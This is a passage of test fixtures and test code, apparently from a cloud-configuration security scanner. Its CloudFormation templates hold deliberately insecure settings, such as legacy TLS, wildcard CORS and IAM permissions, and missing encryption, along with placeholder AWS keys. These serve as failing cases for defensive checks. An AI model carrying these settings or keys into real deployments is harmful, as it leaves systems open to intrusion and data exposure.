domain name Id: "custom-origin-example-bad" CustomOriginConfig: OriginProtocolPolicy: "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example-bad" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Fail: enabled=true; one origin without custom_origin_config, one bad origin ExampleFailOneMissingOneBadDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.com" # safe domain Id: "custom-origin-example-good" # no CustomOriginConfig - DomainName: "example.elb.amazonaws.com" # contains dangerous domain name Id: "custom-origin-example-bad" CustomOriginConfig: OriginProtocolPolicy: "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example-bad" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true ================================================ FILE: tests/cloudformation/graph/checks/resources/LambdaFunction/expected.yaml ================================================ pass: - "AWS::Lambda::Function.GoodLambdaFunction" - "AWS::Serverless::Function.ServerlessFunctionEnabled" - "AWS::Lambda::Function.GoodLambdaFunctionWithRef" fail: - "AWS::Lambda::Function.WrongTracingConfigValueLambdaFunction" - "AWS::Lambda::Function.WrongTracingConfigValueLambdaFunctionWithRef" - "AWS::Lambda::Function.WithoutTracingConfigLambdaFunction" - "AWS::Serverless::Function.ServerlessFunctionDefault" evaluated_keys: - "Tracing_config/Mode" - "Tracing" ================================================ FILE: tests/cloudformation/graph/checks/resources/LambdaFunction/template.yaml ================================================ Description: X-ray tracing is enabled for Lambda. Parameters: ActiveTracingConfig: Description: Active tracing config Type: String Default: "Active" WrongValueTracingConfig: Description: Active tracing config Type: String Default: "Wrong Value" Resources: GoodLambdaFunction: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" Tracing_config: Mode: "Active" GoodLambdaFunctionWithRef: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" Tracing_config: Mode: !Ref ActiveTracingConfig WrongTracingConfigValueLambdaFunction: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" Tracing_config: Mode: "Wrong value" WrongTracingConfigValueLambdaFunctionWithRef: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" Tracing_config: Mode: !Ref WrongValueTracingConfig WithoutTracingConfigLambdaFunction: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Environment: Variables: access_key: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" # SAM ServerlessFunctionEnabled: Type: AWS::Serverless::Function Properties: Handler: index.handler Runtime: python3.6 InlineCode: | def handler(event, context): print("Hello, world!") Tracing: Active ServerlessFunctionDefault: Type: AWS::Serverless::Function Properties: Handler: index.handler Runtime: python3.6 InlineCode: | def handler(event, context): print("Hello, world!") ================================================ FILE: tests/cloudformation/graph/checks/resources/LambdaOpenCorsPolicy/expected.yaml ================================================ pass: - "AWS::Lambda::Function.ValidLambdaFunction" - "AWS::Lambda::Function.ValidLambdaFunctionWithoutUrl" - "AWS::Lambda::Function.ValidLambdaFunctionNoCorsDefinition" - "AWS::Lambda::Function.ValidLambdaFunctionOnlyOriginsStar" - "AWS::Lambda::Function.ValidLambdaFunctionOnlyMethodsStar" fail: - "AWS::Lambda::Function.InvalidLambdaFunction" evaluated_keys: - Cors/AllowMethods - Cors/AllowOrigins - resource_type ================================================ FILE: tests/cloudformation/graph/checks/resources/LambdaOpenCorsPolicy/template.yaml ================================================ Resources: ValidLambdaFunctionWithoutUrl: Type: AWS::Lambda::Function Properties: Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip ValidLambdaFunction: Type: AWS::Lambda::Function Properties: FunctionName: example_lambda_function Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip ValidLambdaUrl: Type: AWS::Lambda::Url Properties: FunctionName: !Ref ValidLambdaFunction Cors: AllowOrigins: - https://example.com AllowMethods: - GET - POST ServiceToken: "arn:aws:lambda:us-west-2:123456789012:function:dummy-token" # checkov:skip=CKV_SECRET_6 test secret ValidLambdaFunctionNoCorsDefinition: Type: AWS::Lambda::Function Properties: FunctionName: example_lambda_function Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip ValidLambdaUrlNoCorsDefinition: Type: AWS::Lambda::Url Properties: FunctionName: !Ref ValidLambdaFunctionNoCorsDefinition ServiceToken: "arn:aws:lambda:us-west-2:123456789012:function:dummy-token" # checkov:skip=CKV_SECRET_6 test secret ValidLambdaFunctionOnlyOriginsStar: Type: AWS::Lambda::Function Properties: FunctionName: example_lambda_function Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip ValidLambdaUrlOnlyOriginsStar: Type: AWS::Lambda::Url Properties: FunctionName: !Ref ValidLambdaFunctionOnlyOriginsStar Cors: AllowOrigins: - "*" AllowMethods: - GET - POST ServiceToken: "arn:aws:lambda:us-west-2:123456789012:function:dummy-token" # checkov:skip=CKV_SECRET_6 test secret ValidLambdaFunctionOnlyMethodsStar: Type: AWS::Lambda::Function Properties: FunctionName: example_lambda_function Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip ValidLambdaUrlOnlyMethodsStar: Type: AWS::Lambda::Url Properties: FunctionName: !Ref ValidLambdaFunctionOnlyMethodsStar Cors: AllowOrigins: - https://example.com AllowMethods: - "*" ServiceToken: "arn:aws:lambda:us-west-2:123456789012:function:dummy-token" # checkov:skip=CKV_SECRET_6 test secret InvalidLambdaFunction: Type: AWS::Lambda::Function Properties: FunctionName: example_lambda_function Handler: index.handler Runtime: nodejs14.x Role: !GetAtt ExampleRole.Arn Code: S3Bucket: example-bucket S3Key: lambda_function_payload.zip InvalidLambdaUrl: Type: AWS::Lambda::Url Properties: FunctionName: !Ref InvalidLambdaFunction Cors: AllowOrigins: - "*" AllowMethods: - "*" ServiceToken: "arn:aws:lambda:us-west-2:123456789012:function:dummy-token" # checkov:skip=CKV_SECRET_6 test secret ExampleRole: Type: AWS::IAM::Role Properties: RoleName: example_role AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Action: sts:AssumeRole Effect: Allow Principal: Service: lambda.amazonaws.com ================================================ FILE: tests/cloudformation/graph/checks/resources/MSKClusterLogging/expected.yaml ================================================ pass: - "AWS::MSK::Cluster.ClusterCloudWatchLogsGood" - "AWS::MSK::Cluster.ClusterFirehoseGood" - "AWS::MSK::Cluster.Clusters3Good" - "AWS::MSK::Cluster.ClusterAllGood" fail: - "AWS::MSK::Cluster.ClusterBadNoLoggingInfo" - "AWS::MSK::Cluster.ClusterBadNoLoggingDisabled" evaluated_keys: - 'LoggingInfo/BrokerLogs/CloudWatchLogs/Enabled' - 'LoggingInfo/BrokerLogs/Firehose/Enabled' - 'LoggingInfo/BrokerLogs/S3/Enabled' ================================================ FILE: tests/cloudformation/graph/checks/resources/MSKClusterLogging/template.yaml ================================================ Description: MSK Cluster with required properties. Resources: ClusterBadNoLoggingInfo: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 Tags: - Key: yor_trace Value: "mock_trace" ClusterBadNoLoggingDisabled: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: false ClusterCloudWatchLogsGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true ClusterFirehoseGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: Firehose: Enabled: true Clusters3Good: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: S3: Enabled: true ClusterAllGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true Firehose: Enabled: true S3: Enabled: true ================================================ FILE: tests/cloudformation/graph/checks/resources/RDSEncryptionInTransit/expected.yaml ================================================ pass: - "AWS::RDS::DBInstance.DB2PassInstance" - "AWS::RDS::DBInstance.PostgresPassInstance" fail: - "AWS::RDS::DBInstance.PostgresFailParam0Instance" - "AWS::RDS::DBInstance.PostgresFailParamMissingInstance" evaluated_keys: - "resource_type" - "Family" - "Parameters/rds/force_ssl" - "Parameters/require_secure_transport" - "Parameters/db2comm" ================================================ FILE: tests/cloudformation/graph/checks/resources/RDSEncryptionInTransit/template.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: DB2PassParam: Type: "AWS::RDS::DBParameterGroup" Properties: Description: "My DB2 parameter group" Family: "1db2-ae1" Parameters: db2comm: "SSL" DeletionPolicy: Retain DB2PassInstance: Type: "AWS::RDS::DBInstance" Properties: DBParameterGroupName: Ref: "DB2PassParam" ApplyImmediately: true PostgresPassParam: Type: "AWS::RDS::DBParameterGroup" Properties: Description: "Description" Family: "postgres123" Parameters: rds.force_ssl: "1" DeletionPolicy: Retain PostgresPassInstance: Type: "AWS::RDS::DBInstance" Properties: DBParameterGroupName: Ref: "PostgresPassParam" ApplyImmediately: true PostgresFailParam0: Type: "AWS::RDS::DBParameterGroup" Properties: Description: "Description" Family: "postgres123" Parameters: rds.force_ssl: "0" DeletionPolicy: Retain PostgresFailParam0Instance: Type: "AWS::RDS::DBInstance" Properties: DBParameterGroupName: Ref: "PostgresFailParam0" ApplyImmediately: true PostgresFailParamMissing: Type: "AWS::RDS::DBParameterGroup" Properties: Description: "Description" Family: "postgres123" Parameters: something_else: "0" DeletionPolicy: Retain PostgresFailParamMissingInstance: Type: "AWS::RDS::DBInstance" Properties: DBParameterGroupName: Ref: "PostgresFailParamMissing" ApplyImmediately: true ================================================ FILE: tests/cloudformation/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/expected.yaml ================================================ pass: - "AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_pass" - "AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_pass2" fail: - "AWS::SageMaker::NotebookInstance.aws_sagemaker_notebook_instance_fail" evaluated_keys: - 'AssumeRolePolicyDocument/Statement[?(@/Effect == Allow)]/Action[*]' - 'resource_type' ================================================ FILE: tests/cloudformation/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/template.yaml ================================================ Resources: aws_sagemaker_notebook_instance_pass: Type: AWS::SageMaker::NotebookInstance Properties: NotebookInstanceName: my-notebook-instance InstanceType: "" RoleArn: !GetAtt aws_iam_role.Arn aws_iam_role: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: '2012-10-17' Statement: - Effect: Allow Principal: Service: sagemaker.amazonaws.com Action: sts:AssumeRole aws_sagemaker_notebook_instance_pass2: Type: AWS::SageMaker::NotebookInstance Properties: NotebookInstanceName: my-notebook-instance ServiceToken: "" RoleArn: !GetAtt aws_iam_role2.Arn aws_iam_role2: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: '2012-10-17' Statement: - Effect: Allow Principal: Service: sagemaker.amazonaws.com Action: sts:AssumeRole Policies: - PolicyName: my-policy PolicyDocument: Version: '2012-10-17' Statement: - Effect: Allow Action: sagemaker:* Resource: !Sub 'arn:aws:sagemaker:${AWS::Region}:${AWS::AccountId}:notebook-instance/*' Condition: IpAddress: 'aws:SourceIp': '192.0.2.0/24' aws_sagemaker_notebook_instance_fail: Type: AWS::SageMaker::NotebookInstance Properties: NotebookInstanceName: my-notebook-instance RoleArn: !GetAtt aws_iam_role3.Arn aws_iam_role3: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: '2012-10-17' Statement: - Effect: Allow Principal: Service: sagemaker.amazonaws.com Action: '*' ================================================ FILE: tests/cloudformation/graph/checks/resources/SagemakerNotebookEncryption/expected.yaml ================================================ pass: - "AWS::SageMaker::NotebookInstance.BasicNotebookInstanceGood" fail: - "AWS::SageMaker::NotebookInstance.BasicNotebookInstanceBad" evaluated_keys: - "KmsKeyId" ================================================ FILE: tests/cloudformation/graph/checks/resources/SagemakerNotebookEncryption/template.yaml ================================================ Description: "Basic NotebookInstance test update to a different instance type" Resources: BasicNotebookInstanceBad: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn BasicNotebookInstanceGood: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn KmsKeyId: "test_kms_key" ExecutionRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" Path: "/" Policies: - PolicyName: "root" PolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Action: "*" Resource: "*" Outputs: BasicNotebookInstanceId: Value: !Ref BasicNotebookInstance ================================================ FILE: tests/cloudformation/graph/checks/test_checks/ALBRedirectHTTPtoHTTPS.yaml ================================================ metadata: id: "CKV2_AWS_20" name: "Ensure that ALB redirects HTTP requests into HTTPS ones" category: "NETWORKING" definition: and: - cond_type: filter value: - AWS::ElasticLoadBalancingV2::LoadBalancer operator: within attribute: resource_type - or: - cond_type: connection operator: not_exists resource_types: - AWS::ElasticLoadBalancingV2::LoadBalancer connected_resource_types: - AWS::ElasticLoadBalancingV2::Listener - and: - cond_type: connection operator: exists resource_types: - AWS::ElasticLoadBalancingV2::LoadBalancer connected_resource_types: - AWS::ElasticLoadBalancingV2::Listener - or: - and: - cond_type: attribute attribute: Port operator: not_equals value: "80" resource_types: - AWS::ElasticLoadBalancingV2::Listener - cond_type: attribute attribute: Protocol operator: not_equals value: HTTP resource_types: - AWS::ElasticLoadBalancingV2::Listener - and: - cond_type: attribute attribute: Port operator: equals value: "80" resource_types: - AWS::ElasticLoadBalancingV2::Listener - cond_type: attribute attribute: Protocol operator: equals value: "HTTP" resource_types: - AWS::ElasticLoadBalancingV2::Listener - cond_type: attribute attribute: DefaultActions.Type operator: equals value: "redirect" resource_types: - AWS::ElasticLoadBalancingV2::Listener - cond_type: attribute attribute: DefaultActions.RedirectConfig.Port operator: equals value: "443" resource_types: - AWS::ElasticLoadBalancingV2::Listener - cond_type: attribute attribute: DefaultActions.RedirectConfig.Protocol operator: equals value: "HTTPS" resource_types: - AWS::ElasticLoadBalancingV2::Listener ================================================ FILE: tests/cloudformation/graph/checks/test_checks/LambdaFunction.yaml ================================================ metadata: id: "CKV2_AWS_26" name: "X-ray tracing is enabled for Lambda" category: "LOGGING" definition: or: - cond_type: attribute attribute: Tracing_config.Mode value: - "PassThrough" - "Active" operator: within resource_types: - AWS::Lambda::Function - cond_type: attribute attribute: Tracing value: - "PassThrough" - "Active" operator: within resource_types: - AWS::Serverless::Function ================================================ FILE: tests/cloudformation/graph/checks/test_checks/MSKClusterLogging.yaml ================================================ metadata: id: "CKV2_AWS_25" name: "Ensure MSK Cluster logging is enabled" category: "LOGGING" definition: or: - cond_type: attribute attribute: LoggingInfo.BrokerLogs.S3.Enabled operator: equals value: true resource_types: - "AWS::MSK::Cluster" - cond_type: attribute attribute: LoggingInfo.BrokerLogs.Firehose.Enabled operator: equals value: true resource_types: - "AWS::MSK::Cluster" - cond_type: attribute attribute: LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled operator: equals value: true resource_types: - "AWS::MSK::Cluster" ================================================ FILE: tests/cloudformation/graph/checks/test_checks/SagemakerNotebookEncryption.yaml ================================================ metadata: id: "CKV2_AWS_24" name: "Ensure SageMaker Notebook is encrypted at rest using KMS CMK" category: "ENCRYPTION" definition: cond_type: attribute attribute: KmsKeyId operator: exists resource_types: - AWS::SageMaker::NotebookInstance ================================================ FILE: tests/cloudformation/graph/checks/test_yaml_policies.py ================================================ import copy import os import warnings from typing import List from parameterized import parameterized_class from checkov.cloudformation.graph_manager import CloudformationGraphManager from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase file_dir = os.path.dirname(__file__) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = CloudformationGraphManager(db_connector=db_connector) super().__init__(graph_manager, os.path.abspath(os.path.join(file_dir, "../../../../checkov/cloudformation/checks/graph_checks")), os.path.join(file_dir, "test_checks"), "cloudformation", __file__, args) def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_SagemakerNotebookEncryption(self): self.go("SagemakerNotebookEncryption") def test_MSKClusterLogging(self): self.go("MSKClusterLogging") def test_LambdaFunction(self): self.go("LambdaFunction") def test_SageMakerIAMPolicyOverlyPermissiveToAllTraffic(self): self.go("SageMakerIAMPolicyOverlyPermissiveToAllTraffic") def test_ALBRedirectHTTPtoHTTPS(self): self.go("ALBRedirectHTTPtoHTTPS") def test_AppSyncProtectedByWAF(self): self.go("AppSyncProtectedByWAF") def test_RDSEncryptionInTransit(self): self.go("RDSEncryptionInTransit") def test_ACMWildcardDomainName(self): self.go("ACMWildcardDomainName") def test_CloudfrontOriginNotHTTPSOnly(self): self.go("CloudfrontOriginNotHTTPSOnly") def test_LambdaOpenCorsPolicy(self): self.go("LambdaOpenCorsPolicy") def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report("cloudformation") first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record(check_id=check['id'], check_name=check['name'], check_result=copy.deepcopy(check_result), code_block="", file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get('__startline__'), entity.get('__endline__')], resource=entity.get(CustomAttributes.BLOCK_NAME), entity_tags=entity.get('tags', {}), evaluations=None, check_class=None, file_abs_path=entity.get(CustomAttributes.FILE_PATH)) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report def wrap_policy(policy): policy['query'] = policy['definition'] del policy['definition'] ================================================ FILE: tests/cloudformation/graph/checks/test_yaml_policies_with_runner.py ================================================ import os from checkov.cloudformation.runner import Runner from checkov.common.graph.graph_builder import CustomAttributes def test_connected_node_in_results_is_never_tuple(): """ Validates we correctly update the connected_node. It cannot be a tuple, as this is unserializable to json. """ file_dir = os.path.dirname(__file__) dir_path = os.path.join(file_dir, f"resources", "ALBRedirectHTTPtoHTTPS") external_checks_dir = os.path.join(os.path.dirname(os.path.dirname(dir_path)), f"test_checks") runner = Runner() report = runner.run(dir_path, external_checks_dir=[external_checks_dir]) all_results = report.failed_checks + report.passed_checks + report.skipped_checks for result in all_results: if "entity" in result.check_result: entity = result.check_result.get("entity", {}) connected_node = entity.get(CustomAttributes.CONNECTED_NODE) if connected_node: if isinstance(connected_node, dict): dict_keys = list(connected_node.keys()) assert not any([isinstance(key, tuple) for key in dict_keys]) ================================================ FILE: tests/cloudformation/graph/graph_builder/__init__.py ================================================ ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/conditioned_vertices/json/test.json ================================================ { "Parameters": { "Parameter1": { "Type": "String", "Default": "parameter1name" }, "Parameter2": { "Type": "String", "Default": "parameter2name" } }, "Conditions": { "FnEqualsTrue": { "Fn::Equals": [ { "Ref": "Parameter1" }, "parameter1name" ] }, "FnEqualsFalse": { "Fn::Equals": [ { "Ref": "Parameter1" }, "wrongname" ] }, "FnNotTrue": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "wrongname" ] } ] }, "FnNotFalse": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "parameter1name" ] } ] }, "FnNotTrueThroughCondition": { "Fn::Not": [ { "Condition": "FnEqualsFalse" } ] }, "FnNotFalseThroughCondition": { "Fn::Not": [ { "Condition": "FnEqualsTrue" } ] }, "FnAndTrue": { "Fn::And": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "parameter1name" ] }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "parameter2name" ] } ] }, "FnAndFalse": { "Fn::And": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "parameter1name" ] }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "wrongname" ] } ] }, "FnAndTrueWithCondition": { "Fn::And": [ { "Condition": "FnEqualsTrue" }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "parameter2name" ] } ] }, "FnOrTrue": { "Fn::Or": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "parameter1name" ] }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "wrongname" ] } ] }, "FnOrFalse": { "Fn::Or": [ { "Fn::Equals": [ { "Ref": "Parameter1" }, "wrongname" ] }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "wrongname" ] } ] }, "FnOrTrueWithCondition": { "Fn::Or": [ { "Condition": "FnEqualsTrue" }, { "Fn::Equals": [ { "Ref": "Parameter2" }, "wrongname" ] } ] } }, "Resources": { "BucketFnEqualsTrue": { "Type": "AWS::S3::Bucket", "Condition": "FnEqualsTrue" }, "BucketFnEqualsFalse": { "Type": "AWS::S3::Bucket", "Condition": "FnEqualsFalse" }, "BucketFnNotTrue": { "Type": "AWS::S3::Bucket", "Condition": "FnNotTrue" }, "BucketFnNotFalse": { "Type": "AWS::S3::Bucket", "Condition": "FnNotFalse" }, "BucketFnNotTrueThroughCondition": { "Type": "AWS::S3::Bucket", "Condition": "FnNotTrueThroughCondition" }, "BucketFnNotFalseThroughCondition": { "Type": "AWS::S3::Bucket", "Condition": "FnNotFalseThroughCondition" }, "BucketFnAndTrue": { "Type": "AWS::S3::Bucket", "Condition": "FnAndTrue" }, "BucketFnAndFalse": { "Type": "AWS::S3::Bucket", "Condition": "FnAndFalse" }, "BucketFnAndTrueWithCondition": { "Type": "AWS::S3::Bucket", "Condition": "FnAndTrueWithCondition" }, "BucketFnOrTrue": { "Type": "AWS::S3::Bucket", "Condition": "FnOrTrue" }, "BucketFnOrFalse": { "Type": "AWS::S3::Bucket", "Condition": "FnOrFalse" }, "BucketFnOrTrueWithCondition": { "Type": "AWS::S3::Bucket", "Condition": "FnOrTrueWithCondition" } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/conditioned_vertices/yaml/test.yaml ================================================ Parameters: Parameter1: Type: String Default: parameter1name Parameter2: Type: String Default: parameter2name Conditions: FnEqualsTrue: !Equals - !Ref Parameter1 - parameter1name FnEqualsFalse: !Equals - !Ref Parameter1 - wrongname FnNotTrue: !Not - !Equals - !Ref Parameter1 - wrongname FnNotFalse: !Not - !Equals - !Ref Parameter1 - parameter1name FnNotTrueThroughCondition: !Not - !Condition FnEqualsFalse FnNotFalseThroughCondition: !Not - !Condition FnEqualsTrue FnAndTrue: !And - !Equals - !Ref Parameter1 - parameter1name - !Equals - !Ref Parameter2 - parameter2name FnAndFalse: !And - !Equals - !Ref Parameter1 - parameter1name - !Equals - !Ref Parameter2 - wrongname FnAndTrueWithCondition: !And - !Condition FnEqualsTrue - !Equals - !Ref Parameter2 - parameter2name FnOrTrue: !Or - !Equals - !Ref Parameter1 - parameter1name - !Equals - !Ref Parameter2 - wrongname FnOrFalse: !Or - !Equals - !Ref Parameter1 - wrongname - !Equals - !Ref Parameter2 - wrongname FnOrTrueWithCondition: !Or - !Condition FnEqualsTrue - !Equals - !Ref Parameter2 - wrongname Resources: BucketFnEqualsTrue: Type: 'AWS::S3::Bucket' Condition: FnEqualsTrue BucketFnEqualsFalse: Type: 'AWS::S3::Bucket' Condition: FnEqualsFalse BucketFnNotTrue: Type: 'AWS::S3::Bucket' Condition: FnNotTrue BucketFnNotFalse: Type: 'AWS::S3::Bucket' Condition: FnNotFalse BucketFnNotTrueThroughCondition: Type: 'AWS::S3::Bucket' Condition: FnNotTrueThroughCondition BucketFnNotFalseThroughCondition: Type: 'AWS::S3::Bucket' Condition: FnNotFalseThroughCondition 